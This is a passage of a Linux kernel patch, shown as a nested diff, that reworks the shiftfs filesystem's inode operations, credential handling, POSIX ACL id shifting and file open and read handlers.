1708 -@@ -366,39 +549,52 @@ static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
1709 - {
1710 - mode |= S_IFDIR;
1711 -
1712 -- return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false);
1713 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
1714 - }
1715 -
1716 - static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
1717 - struct dentry *dentry)
1718 - {
1719 -- return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false);
1720 -+ return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
1721 -+}
1722 -+
1723 -+static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode,
1724 -+ dev_t rdev)
1725 -+{
1726 -+ if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
1727 -+ return -EPERM;
1728 -+
1729 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
1730 - }
1731 -
1732 - static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
1733 - const char *symlink)
1734 - {
1735 -- return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false);
1736 -+ return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
1737 - }
1738 -
1739 - static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
1740 - {
1741 -- struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
1742 -- struct inode *reali = real->d_inode;
1743 -+ struct dentry *lowerd = dentry->d_fsdata;
1744 -+ struct inode *loweri = dir->i_private;
1745 - int err;
1746 -- const struct cred *oldcred, *newcred;
1747 --
1748 -- inode_lock_nested(reali, I_MUTEX_PARENT);
1749 --
1750 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1751 -+ const struct cred *oldcred;
1752 -
1753 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1754 -+ inode_lock_nested(loweri, I_MUTEX_PARENT);
1755 - if (rmdir)
1756 -- err = vfs_rmdir(reali, new);
1757 -+ err = vfs_rmdir(loweri, lowerd);
1758 - else
1759 -- err = vfs_unlink(reali, new, NULL);
1760 -+ err = vfs_unlink(loweri, lowerd, NULL);
1761 -+ inode_unlock(loweri);
1762 -+ revert_creds(oldcred);
1763 -
1764 -- shiftfs_old_creds(oldcred, &newcred);
1765 -- inode_unlock(reali);
1766 -+ shiftfs_copyattr(loweri, dir);
1767 -+ set_nlink(d_inode(dentry), loweri->i_nlink);
1768 -+ if (!err)
1769 -+ d_drop(dentry);
1770 -+
1771 -+ set_nlink(dir, loweri->i_nlink);
1772 -
1773 - return err;
1774 - }
1775 -@@ -417,27 +613,30 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
1776 - struct inode *newdir, struct dentry *new,
1777 - unsigned int flags)
1778 - {
1779 -- struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private,
1780 -- *realold = old->d_fsdata,
1781 -- *realnew = new->d_fsdata, *trap;
1782 -- struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode;
1783 -+ struct dentry *lowerd_dir_old = old->d_parent->d_fsdata,
1784 -+ *lowerd_dir_new = new->d_parent->d_fsdata,
1785 -+ *lowerd_old = old->d_fsdata, *lowerd_new = new->d_fsdata,
1786 -+ *trapd;
1787 -+ struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
1788 -+ *loweri_dir_new = lowerd_dir_new->d_inode;
1789 - int err = -EINVAL;
1790 -- const struct cred *oldcred, *newcred;
1791 -+ const struct cred *oldcred;
1792 -
1793 -- trap = lock_rename(rndd, rodd);
1794 -+ trapd = lock_rename(lowerd_dir_new, lowerd_dir_old);
1795 -
1796 -- if (trap == realold || trap == realnew)
1797 -+ if (trapd == lowerd_old || trapd == lowerd_new)
1798 - goto out_unlock;
1799 -
1800 -- oldcred = shiftfs_new_creds(&newcred, old->d_sb);
1801 --
1802 -- err = vfs_rename(realolddir, realold, realnewdir,
1803 -- realnew, NULL, flags);
1804 -+ oldcred = shiftfs_override_creds(old->d_sb);
1805 -+ err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new,
1806 -+ NULL, flags);
1807 -+ revert_creds(oldcred);
1808 -
1809 -- shiftfs_old_creds(oldcred, &newcred);
1810 -+ shiftfs_copyattr(loweri_dir_old, olddir);
1811 -+ shiftfs_copyattr(loweri_dir_new, newdir);
1812 -
1813 -- out_unlock:
1814 -- unlock_rename(rndd, rodd);
1815 -+out_unlock:
1816 -+ unlock_rename(lowerd_dir_new, lowerd_dir_old);
1817 -
1818 - return err;
1819 - }
1820 -@@ -445,304 +644,1210 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
1821 - static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
1822 - unsigned int flags)
1823 - {
1824 -- struct dentry *real = dir->i_private, *new;
1825 -- struct inode *reali = real->d_inode, *newi;
1826 -- const struct cred *oldcred, *newcred;
1827 --
1828 -- inode_lock(reali);
1829 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1830 -- new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len);
1831 -- shiftfs_old_creds(oldcred, &newcred);
1832 -- inode_unlock(reali);
1833 -+ struct dentry *new;
1834 -+ struct inode *newi;
1835 -+ const struct cred *oldcred;
1836 -+ struct dentry *lowerd = dentry->d_parent->d_fsdata;
1837 -+ struct inode *inode = NULL, *loweri = lowerd->d_inode;
1838 -+
1839 -+ inode_lock(loweri);
1840 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1841 -+ new = lookup_one_len(dentry->d_name.name, lowerd, dentry->d_name.len);
1842 -+ revert_creds(oldcred);
1843 -+ inode_unlock(loweri);
1844 -
1845 - if (IS_ERR(new))
1846 - return new;
1847 -
1848 - dentry->d_fsdata = new;
1849 -
1850 -- newi = NULL;
1851 -- if (!new->d_inode)
1852 -+ newi = new->d_inode;
1853 -+ if (!newi)
1854 - goto out;
1855 -
1856 -- newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new);
1857 -- if (!newi) {
1858 -+ inode = iget5_locked(dentry->d_sb, (unsigned long)newi,
1859 -+ shiftfs_inode_test, shiftfs_inode_set, newi);
1860 -+ if (!inode) {
1861 - dput(new);
1862 - return ERR_PTR(-ENOMEM);
1863 - }
1864 -+ if (inode->i_state & I_NEW) {
1865 -+ /*
1866 -+ * inode->i_private set by shiftfs_inode_set(), but we still
1867 -+ * need to take a reference
1868 -+ */
1869 -+ ihold(newi);
1870 -+ shiftfs_fill_inode(inode, newi->i_ino, newi->i_mode, 0, new);
1871 -+ unlock_new_inode(inode);
1872 -+ }
1873 -
1874 -- out:
1875 -- return d_splice_alias(newi, dentry);
1876 -+out:
1877 -+ return d_splice_alias(inode, dentry);
1878 - }
1879 -
1880 - static int shiftfs_permission(struct inode *inode, int mask)
1881 - {
1882 -- struct dentry *real = inode->i_private;
1883 -- struct inode *reali = real->d_inode;
1884 -- const struct inode_operations *iop = reali->i_op;
1885 - int err;
1886 -- const struct cred *oldcred, *newcred;
1887 -+ const struct cred *oldcred;
1888 -+ struct inode *loweri = inode->i_private;
1889 -
1890 -- if (mask & MAY_NOT_BLOCK)
1891 -+ if (!loweri) {
1892 -+ WARN_ON(!(mask & MAY_NOT_BLOCK));
1893 - return -ECHILD;
1894 -+ }
1895 -
1896 -- oldcred = shiftfs_new_creds(&newcred, inode->i_sb);
1897 -- if (iop->permission)
1898 -- err = iop->permission(reali, mask);
1899 -- else
1900 -- err = generic_permission(reali, mask);
1901 -- shiftfs_old_creds(oldcred, &newcred);
1902 -+ err = generic_permission(inode, mask);
1903 -+ if (err)
1904 -+ return err;
1905 -+
1906 -+ oldcred = shiftfs_override_creds(inode->i_sb);
1907 -+ err = inode_permission(loweri, mask);
1908 -+ revert_creds(oldcred);
1909 -+
1910 -+ return err;
1911 -+}
1912 -+
1913 -+static int shiftfs_fiemap(struct inode *inode,
1914 -+ struct fiemap_extent_info *fieinfo, u64 start,
1915 -+ u64 len)
1916 -+{
1917 -+ int err;
1918 -+ const struct cred *oldcred;
1919 -+ struct inode *loweri = inode->i_private;
1920 -+
1921 -+ if (!loweri->i_op->fiemap)
1922 -+ return -EOPNOTSUPP;
1923 -+
1924 -+ oldcred = shiftfs_override_creds(inode->i_sb);
1925 -+ if (fieinfo->fi_flags & FIEMAP_FLAG_SYNC)
1926 -+ filemap_write_and_wait(loweri->i_mapping);
1927 -+ err = loweri->i_op->fiemap(loweri, fieinfo, start, len);
1928 -+ revert_creds(oldcred);
1929 -+
1930 -+ return err;
1931 -+}
1932 -+
1933 -+static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
1934 -+ umode_t mode)
1935 -+{
1936 -+ int err;
1937 -+ const struct cred *oldcred;
1938 -+ struct dentry *lowerd = dentry->d_fsdata;
1939 -+ struct inode *loweri = dir->i_private;
1940 -+
1941 -+ if (!loweri->i_op->tmpfile)
1942 -+ return -EOPNOTSUPP;
1943 -+
1944 -+ oldcred = shiftfs_override_creds(dir->i_sb);
1945 -+ err = loweri->i_op->tmpfile(loweri, lowerd, mode);
1946 -+ revert_creds(oldcred);
1947 -
1948 - return err;
1949 - }
1950 -
1951 - static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
1952 - {
1953 -- struct dentry *real = dentry->d_fsdata;
1954 -- struct inode *reali = real->d_inode;
1955 -- const struct inode_operations *iop = reali->i_op;
1956 -+ struct dentry *lowerd = dentry->d_fsdata;
1957 -+ struct inode *loweri = lowerd->d_inode;
1958 - struct iattr newattr = *attr;
1959 -- const struct cred *oldcred, *newcred;
1960 -+ const struct cred *oldcred;
1961 - struct super_block *sb = dentry->d_sb;
1962 - int err;
1963 -
1964 -+ err = setattr_prepare(dentry, attr);
1965 -+ if (err)
1966 -+ return err;
1967 -+
1968 - newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
1969 - newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
1970 -
1971 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1972 -- inode_lock(reali);
1973 -- if (iop->setattr)
1974 -- err = iop->setattr(real, &newattr);
1975 -- else
1976 -- err = simple_setattr(real, &newattr);
1977 -- inode_unlock(reali);
1978 -- shiftfs_old_creds(oldcred, &newcred);
1979 -+ inode_lock(loweri);
1980 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1981 -+ err = notify_change(lowerd, attr, NULL);
1982 -+ revert_creds(oldcred);
1983 -+ inode_unlock(loweri);
1984 -
1985 -- if (err)
1986 -- return err;
1987 -+ shiftfs_copyattr(loweri, d_inode(dentry));
1988 -
1989 -- /* all OK, reflect the change on our inode */
1990 -- setattr_copy(d_inode(dentry), attr);
1991 -- return 0;
1992 -+ return err;
1993 - }
1994 -
1995 - static int shiftfs_getattr(const struct path *path, struct kstat *stat,
1996 - u32 request_mask, unsigned int query_flags)
1997 - {
1998 - struct inode *inode = path->dentry->d_inode;
1999 -- struct dentry *real = path->dentry->d_fsdata;
2000 -- struct inode *reali = real->d_inode;
2001 -- const struct inode_operations *iop = reali->i_op;
2002 -- struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real };
2003 -- int err = 0;
2004 --
2005 -- if (iop->getattr)
2006 -- err = iop->getattr(&newpath, stat, request_mask, query_flags);
2007 -- else
2008 -- generic_fillattr(reali, stat);
2009 -+ struct dentry *lowerd = path->dentry->d_fsdata;
2010 -+ struct inode *loweri = lowerd->d_inode;
2011 -+ struct shiftfs_super_info *info = path->dentry->d_sb->s_fs_info;
2012 -+ struct path newpath = { .mnt = info->mnt, .dentry = lowerd };
2013 -+ struct user_namespace *from_ns = loweri->i_sb->s_user_ns;
2014 -+ struct user_namespace *to_ns = inode->i_sb->s_user_ns;
2015 -+ const struct cred *oldcred;
2016 -+ int err;
2017 -+
2018 -+ oldcred = shiftfs_override_creds(inode->i_sb);
2019 -+ err = vfs_getattr(&newpath, stat, request_mask, query_flags);
2020 -+ revert_creds(oldcred);
2021 -
2022 - if (err)
2023 - return err;
2024 -
2025 - /* transform the underlying id */
2026 -- stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid));
2027 -- stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid));
2028 -+ stat->uid = shift_kuid(from_ns, to_ns, stat->uid);
2029 -+ stat->gid = shift_kgid(from_ns, to_ns, stat->gid);
2030 - return 0;
2031 - }
2032 -
2033 --static const struct inode_operations shiftfs_inode_ops = {
2034 -- .lookup = shiftfs_lookup,
2035 -- .getattr = shiftfs_getattr,
2036 -- .setattr = shiftfs_setattr,
2037 -- .permission = shiftfs_permission,
2038 -- .mkdir = shiftfs_mkdir,
2039 -- .symlink = shiftfs_symlink,
2040 -- .get_link = shiftfs_get_link,
2041 -- .readlink = shiftfs_readlink,
2042 -- .unlink = shiftfs_unlink,
2043 -- .rmdir = shiftfs_rmdir,
2044 -- .rename = shiftfs_rename,
2045 -- .link = shiftfs_link,
2046 -- .create = shiftfs_create,
2047 -- .mknod = NULL, /* no special files currently */
2048 -- .listxattr = shiftfs_listxattr,
2049 --};
2050 -+#ifdef CONFIG_SHIFT_FS_POSIX_ACL
2051 -
2052 --static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
2053 -- struct dentry *dentry)
2054 -+static int
2055 -+shift_acl_ids(struct user_namespace *from, struct user_namespace *to,
2056 -+ struct posix_acl *acl)
2057 - {
2058 -- struct inode *inode;
2059 --
2060 -- inode = new_inode(sb);
2061 -- if (!inode)
2062 -- return NULL;
2063 --
2064 -- /*
2065 -- * our inode is completely vestigial. All lookups, getattr
2066 -- * and permission checks are done on the underlying inode, so
2067 -- * what the user sees is entirely from the underlying inode.
2068 -- */
2069 -- mode &= S_IFMT;
2070 -+ int i;
2071 -+
2072 -+ for (i = 0; i < acl->a_count; i++) {
2073 -+ struct posix_acl_entry *e = &acl->a_entries[i];
2074 -+ switch(e->e_tag) {
2075 -+ case ACL_USER:
2076 -+ e->e_uid = shift_kuid(from, to, e->e_uid);
2077 -+ if (!uid_valid(e->e_uid))
2078 -+ return -EOVERFLOW;
2079 -+ break;
2080 -+ case ACL_GROUP:
2081 -+ e->e_gid = shift_kgid(from, to, e->e_gid);
2082 -+ if (!gid_valid(e->e_gid))
2083 -+ return -EOVERFLOW;
2084 -+ break;
2085 -+ }
2086 -+ }
2087 -+ return 0;
2088 -+}
2089 -
2090 -- inode->i_ino = get_next_ino();
2091 -- inode->i_mode = mode;
2092 -- inode->i_flags |= S_NOATIME | S_NOCMTIME;
2093 -+static void
2094 -+shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
2095 -+ void *value, size_t size)
2096 -+{
2097 -+ struct posix_acl_xattr_header *header = value;
2098 -+ struct posix_acl_xattr_entry *entry = (void *)(header + 1), *end;
2099 -+ int count;
2100 -+ kuid_t kuid;
2101 -+ kgid_t kgid;
2102 -
2103 -- inode->i_op = &shiftfs_inode_ops;
2104 -+ if (!value)
2105 -+ return;
2106 -+ if (size < sizeof(struct posix_acl_xattr_header))
2107 -+ return;
2108 -+ if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION))
2109 -+ return;
2110 -
2111 -- shiftfs_fill_inode(inode, dentry);
2112 -+ count = posix_acl_xattr_count(size);
2113 -+ if (count < 0)
2114 -+ return;
2115 -+ if (count == 0)
2116 -+ return;
2117 -
2118 -- return inode;
2119 -+ for (end = entry + count; entry != end; entry++) {
2120 -+ switch(le16_to_cpu(entry->e_tag)) {
2121 -+ case ACL_USER:
2122 -+ kuid = make_kuid(&init_user_ns, le32_to_cpu(entry->e_id));
2123 -+ kuid = shift_kuid(from, to, kuid);
2124 -+ entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid));
2125 -+ break;
2126 -+ case ACL_GROUP:
2127 -+ kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id));
2128 -+ kgid = shift_kgid(from, to, kgid);
2129 -+ entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid));
2130 -+ break;
2131 -+ default:
2132 -+ break;
2133 -+ }
2134 -+ }
2135 - }
2136 -
2137 --static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
2138 -+static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
2139 - {
2140 -- struct super_block *sb = dentry->d_sb;
2141 -- struct shiftfs_super_info *ssi = sb->s_fs_info;
2142 -+ struct inode *loweri = inode->i_private;
2143 -+ const struct cred *oldcred;
2144 -+ struct posix_acl *lower_acl, *acl = NULL;
2145 -+ struct user_namespace *from_ns = loweri->i_sb->s_user_ns;
2146 -+ struct user_namespace *to_ns = inode->i_sb->s_user_ns;
2147 -+ int size;
2148 -+ int err;
2149 -
2150 -- if (ssi->mark)
2151 -- seq_show_option(m, "mark", NULL);
2152 -+ if (!IS_POSIXACL(loweri))
2153 -+ return NULL;
2154 -
2155 -- return 0;
2156 --}
2157 -+ oldcred = shiftfs_override_creds(inode->i_sb);
2158 -+ lower_acl = get_acl(loweri, type);
2159 -+ revert_creds(oldcred);
2160 -
2161 --static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
2162 --{
2163 -- struct super_block *sb = dentry->d_sb;
2164 -- struct shiftfs_super_info *ssi = sb->s_fs_info;
2165 -- struct dentry *root = sb->s_root;
2166 -- struct dentry *realroot = root->d_fsdata;
2167 -- struct path realpath = { .mnt = ssi->mnt, .dentry = realroot };
2168 -- int err;
2169 -+ if (lower_acl && !IS_ERR(lower_acl)) {
2170 -+ /* XXX: export posix_acl_clone? */
2171 -+ size = sizeof(struct posix_acl) +
2172 -+ lower_acl->a_count * sizeof(struct posix_acl_entry);
2173 -+ acl = kmemdup(lower_acl, size, GFP_KERNEL);
2174 -+ posix_acl_release(lower_acl);
2175 -
2176 -- err = vfs_statfs(&realpath, buf);
2177 -- if (err)
2178 -- return err;
2179 -+ if (!acl)
2180 -+ return ERR_PTR(-ENOMEM);
2181 -
2182 -- buf->f_type = sb->s_magic;
2183 -+ refcount_set(&acl->a_refcount, 1);
2184 -
2185 -- return 0;
2186 -+ err = shift_acl_ids(from_ns, to_ns, acl);
2187 -+ if (err) {
2188 -+ kfree(acl);
2189 -+ return ERR_PTR(err);
2190 -+ }
2191 -+ }
2192 -+
2193 -+ return acl;
2194 - }
2195 -
2196 --static void shiftfs_put_super(struct super_block *sb)
2197 -+static int
2198 -+shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler,
2199 -+ struct dentry *dentry, struct inode *inode,
2200 -+ const char *name, void *buffer, size_t size)
2201 - {
2202 -- struct shiftfs_super_info *ssi = sb->s_fs_info;
2203 -+ struct inode *loweri = inode->i_private;
2204 -+ int ret;
2205 -+
2206 -+ ret = shiftfs_xattr_get(NULL, dentry, inode, handler->name,
2207 -+ buffer, size);
2208 -+ if (ret < 0)
2209 -+ return ret;
2210 -
2211 -- mntput(ssi->mnt);
2212 -- put_user_ns(ssi->userns);
2213 -- kfree(ssi);
2214 -+ inode_lock(loweri);
2215 -+ shift_acl_xattr_ids(loweri->i_sb->s_user_ns, inode->i_sb->s_user_ns,
2216 -+ buffer, size);
2217 -+ inode_unlock(loweri);
2218 -+ return ret;
2219 - }
2220 -
2221 --static const struct xattr_handler shiftfs_xattr_handler = {
2222 -- .prefix = "",
2223 -- .get = shiftfs_xattr_get,
2224 -- .set = shiftfs_xattr_set,
2225 --};
2226 -+static int
2227 -+shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
2228 -+ struct dentry *dentry, struct inode *inode,
2229 -+ const char *name, const void *value,
2230 -+ size_t size, int flags)
2231 -+{
2232 -+ struct inode *loweri = inode->i_private;
2233 -+ int err;
2234 -
2235 --const struct xattr_handler *shiftfs_xattr_handlers[] = {
2236 -- &shiftfs_xattr_handler,
2237 -- NULL
2238 --};
2239 -+ if (!IS_POSIXACL(loweri) || !loweri->i_op->set_acl)
2240 -+ return -EOPNOTSUPP;
2241 -+ if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
2242 -+ return value ? -EACCES : 0;
2243 -+ if (!inode_owner_or_capable(inode))
2244 -+ return -EPERM;
2245 -+
2246 -+ if (value) {
2247 -+ shift_acl_xattr_ids(inode->i_sb->s_user_ns,
2248 -+ loweri->i_sb->s_user_ns,
2249 -+ (void *)value, size);
2250 -+ err = shiftfs_setxattr(dentry, inode, handler->name, value,
2251 -+ size, flags);
2252 -+ } else {
2253 -+ err = shiftfs_removexattr(dentry, handler->name);
2254 -+ }
2255 -
2256 --static const struct super_operations shiftfs_super_ops = {
2257 -- .put_super = shiftfs_put_super,
2258 -- .show_options = shiftfs_show_options,
2259 -- .statfs = shiftfs_statfs,
2260 -+ if (!err)
2261 -+ shiftfs_copyattr(loweri, inode);
2262 -+
2263 -+ return err;
2264 -+}
2265 -+
2266 -+static const struct xattr_handler
2267 -+shiftfs_posix_acl_access_xattr_handler = {
2268 -+ .name = XATTR_NAME_POSIX_ACL_ACCESS,
2269 -+ .flags = ACL_TYPE_ACCESS,
2270 -+ .get = shiftfs_posix_acl_xattr_get,
2271 -+ .set = shiftfs_posix_acl_xattr_set,
2272 - };
2273 -
2274 --struct shiftfs_data {
2275 -- void *data;
2276 -- const char *path;
2277 -+static const struct xattr_handler
2278 -+shiftfs_posix_acl_default_xattr_handler = {
2279 -+ .name = XATTR_NAME_POSIX_ACL_DEFAULT,
2280 -+ .flags = ACL_TYPE_DEFAULT,
2281 -+ .get = shiftfs_posix_acl_xattr_get,
2282 -+ .set = shiftfs_posix_acl_xattr_set,
2283 - };
2284 -
2285 --static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
2286 -- int silent)
2287 --{
2288 -- struct shiftfs_data *data = raw_data;
2289 -- char *name = kstrdup(data->path, GFP_KERNEL);
2290 -- int err = -ENOMEM;
2291 -- struct shiftfs_super_info *ssi = NULL;
2292 -- struct path path;
2293 -- struct dentry *dentry;
2294 -+#else /* !CONFIG_SHIFT_FS_POSIX_ACL */
2295 -
2296 -- if (!name)
2297 -- goto out;
2298 -+#define shiftfs_get_acl NULL
2299 -
2300 -- ssi = kzalloc(sizeof(*ssi), GFP_KERNEL);
2301 -- if (!ssi)
2302 -- goto out;
2303 -+#endif /* CONFIG_SHIFT_FS_POSIX_ACL */
2304 -
2305 -- err = -EPERM;
2306 -- err = shiftfs_parse_options(ssi, data->data);
2307 -+static const struct inode_operations shiftfs_dir_inode_operations = {
2308 -+ .lookup = shiftfs_lookup,
2309 -+ .mkdir = shiftfs_mkdir,
2310 -+ .symlink = shiftfs_symlink,
2311 -+ .unlink = shiftfs_unlink,
2312 -+ .rmdir = shiftfs_rmdir,
2313 -+ .rename = shiftfs_rename,
2314 -+ .link = shiftfs_link,
2315 -+ .setattr = shiftfs_setattr,
2316 -+ .create = shiftfs_create,
2317 -+ .mknod = shiftfs_mknod,
2318 -+ .permission = shiftfs_permission,
2319 -+ .getattr = shiftfs_getattr,
2320 -+ .listxattr = shiftfs_listxattr,
2321 -+ .get_acl = shiftfs_get_acl,
2322 -+};
2323 -+
2324 -+static const struct inode_operations shiftfs_file_inode_operations = {
2325 -+ .fiemap = shiftfs_fiemap,
2326 -+ .getattr = shiftfs_getattr,
2327 -+ .get_acl = shiftfs_get_acl,
2328 -+ .listxattr = shiftfs_listxattr,
2329 -+ .permission = shiftfs_permission,
2330 -+ .setattr = shiftfs_setattr,
2331 -+ .tmpfile = shiftfs_tmpfile,
2332 -+};
2333 -+
2334 -+static const struct inode_operations shiftfs_special_inode_operations = {
2335 -+ .getattr = shiftfs_getattr,
2336 -+ .get_acl = shiftfs_get_acl,
2337 -+ .listxattr = shiftfs_listxattr,
2338 -+ .permission = shiftfs_permission,
2339 -+ .setattr = shiftfs_setattr,
2340 -+};
2341 -+
2342 -+static const struct inode_operations shiftfs_symlink_inode_operations = {
2343 -+ .getattr = shiftfs_getattr,
2344 -+ .get_link = shiftfs_get_link,
2345 -+ .listxattr = shiftfs_listxattr,
2346 -+ .setattr = shiftfs_setattr,
2347 -+};
2348 -+
2349 -+static struct file *shiftfs_open_realfile(const struct file *file,
2350 -+ struct path *realpath)
2351 -+{
2352 -+ struct file *lowerf;
2353 -+ const struct cred *oldcred;
2354 -+ struct inode *inode = file_inode(file);
2355 -+ struct inode *loweri = realpath->dentry->d_inode;
2356 -+ struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
2357 -+
2358 -+ oldcred = shiftfs_override_creds(inode->i_sb);
2359 -+ /* XXX: open_with_fake_path() not gauranteed to stay around, if
2360 -+ * removed use dentry_open() */
2361 -+ lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred);
2362 -+ revert_creds(oldcred);
2363 -+
2364 -+ return lowerf;
2365 -+}
2366 -+
2367 -+#define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT)
2368 -+
2369 -+static int shiftfs_change_flags(struct file *file, unsigned int flags)
2370 -+{
2371 -+ struct inode *inode = file_inode(file);
2372 -+ int err;
2373 -+
2374 -+ /* if some flag changed that cannot be changed then something's amiss */
2375 -+ if (WARN_ON((file->f_flags ^ flags) & ~SHIFTFS_SETFL_MASK))
2376 -+ return -EIO;
2377 -+
2378 -+ flags &= SHIFTFS_SETFL_MASK;
2379 -+
2380 -+ if (((flags ^ file->f_flags) & O_APPEND) && IS_APPEND(inode))
2381 -+ return -EPERM;
2382 -+
2383 -+ if (flags & O_DIRECT) {
2384 -+ if (!file->f_mapping->a_ops ||
2385 -+ !file->f_mapping->a_ops->direct_IO)
2386 -+ return -EINVAL;
2387 -+ }
2388 -+
2389 -+ if (file->f_op->check_flags) {
2390 -+ err = file->f_op->check_flags(flags);
2391 -+ if (err)
2392 -+ return err;
2393 -+ }
2394 -+
2395 -+ spin_lock(&file->f_lock);
2396 -+ file->f_flags = (file->f_flags & ~SHIFTFS_SETFL_MASK) | flags;
2397 -+ spin_unlock(&file->f_lock);
2398 -+
2399 -+ return 0;
2400 -+}
2401 -+
2402 -+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
2403 -+{
2404 -+ struct shiftfs_file_info *file_info = file->private_data;
2405 -+ struct file *realfile = file_info->realfile;
2406 -+
2407 -+ lowerfd->flags = 0;
2408 -+ lowerfd->file = realfile;
2409 -+
2410 -+ /* Did the flags change since open? */
2411 -+ if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
2412 -+ return shiftfs_change_flags(lowerfd->file, file->f_flags);
2413 -+
2414 -+ return 0;
2415 -+}
2416 -+
2417 -+static int shiftfs_open(struct inode *inode, struct file *file)
2418 -+{
2419 -+ struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info;
2420 -+ struct shiftfs_file_info *file_info;
2421 -+ struct file *realfile;
2422 -+ struct path *realpath;
2423 -+
2424 -+ file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL);
2425 -+ if (!file_info)
2426 -+ return -ENOMEM;
2427 -+
2428 -+ realpath = &file_info->realpath;
2429 -+ realpath->mnt = ssi->mnt;
2430 -+ realpath->dentry = file->f_path.dentry->d_fsdata;
2431 -+
2432 -+ realfile = shiftfs_open_realfile(file, realpath);
2433 -+ if (IS_ERR(realfile)) {
2434 -+ kmem_cache_free(shiftfs_file_info_cache, file_info);
2435 -+ return PTR_ERR(realfile);
2436 -+ }
2437 -+
2438 -+ file->private_data = file_info;
2439 -+ file_info->realfile = realfile;
2440 -+ return 0;
2441 -+}
2442 -+
2443 -+static int shiftfs_release(struct inode *inode, struct file *file)
2444 -+{
2445 -+ struct shiftfs_file_info *file_info = file->private_data;
2446 -+
2447 -+ if (file_info) {
2448 -+ if (file_info->realfile)
2449 -+ fput(file_info->realfile);
2450 -+
2451 -+ kmem_cache_free(shiftfs_file_info_cache, file_info);
2452 -+ }
2453 -+
2454 -+ return 0;
2455 -+}
2456 -+
2457 -+static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence)
2458 -+{
2459 -+ struct inode *realinode = file_inode(file)->i_private;
2460 -+
2461 -+ return generic_file_llseek_size(file, offset, whence,
2462 -+ realinode->i_sb->s_maxbytes,
2463 -+ i_size_read(realinode));
2464 -+}
2465 -+
2466 -+/* XXX: Need to figure out what to to about atime updates, maybe other
2467 -+ * timestamps too ... ref. ovl_file_accessed() */
2468 -+
2469 -+static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb)
2470 -+{
2471 -+ int ifl = iocb->ki_flags;
2472 -+ rwf_t flags = 0;
2473 -+
2474 -+ if (ifl & IOCB_NOWAIT)
2475 -+ flags |= RWF_NOWAIT;
2476 -+ if (ifl & IOCB_HIPRI)
2477 -+ flags |= RWF_HIPRI;
2478 -+ if (ifl & IOCB_DSYNC)
2479 -+ flags |= RWF_DSYNC;
2480 -+ if (ifl & IOCB_SYNC)
2481 -+ flags |= RWF_SYNC;
2482 -+
2483 -+ return flags;
2484 -+}
2485 -+
2486 -+static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter)
2487 -+{
2488 -+ struct file *file = iocb->ki_filp;
2489 -+ struct fd lowerfd;
2490 -+ const struct cred *oldcred;
2491 -+ ssize_t ret;
2492 -+
2493 -+ if (!iov_iter_count(iter))
2494 -+ return 0;
2495 -+
2496 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2497 -+ if (ret)
2498 -+ return ret;
2499 -+
2500 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2501 -+ ret = vfs_iter_read(lowerfd.file, iter, &iocb->ki_pos,
2502 -+ shiftfs_iocb_to_rwf(iocb));
2503 -+ revert_creds(oldcred);
2504 -+
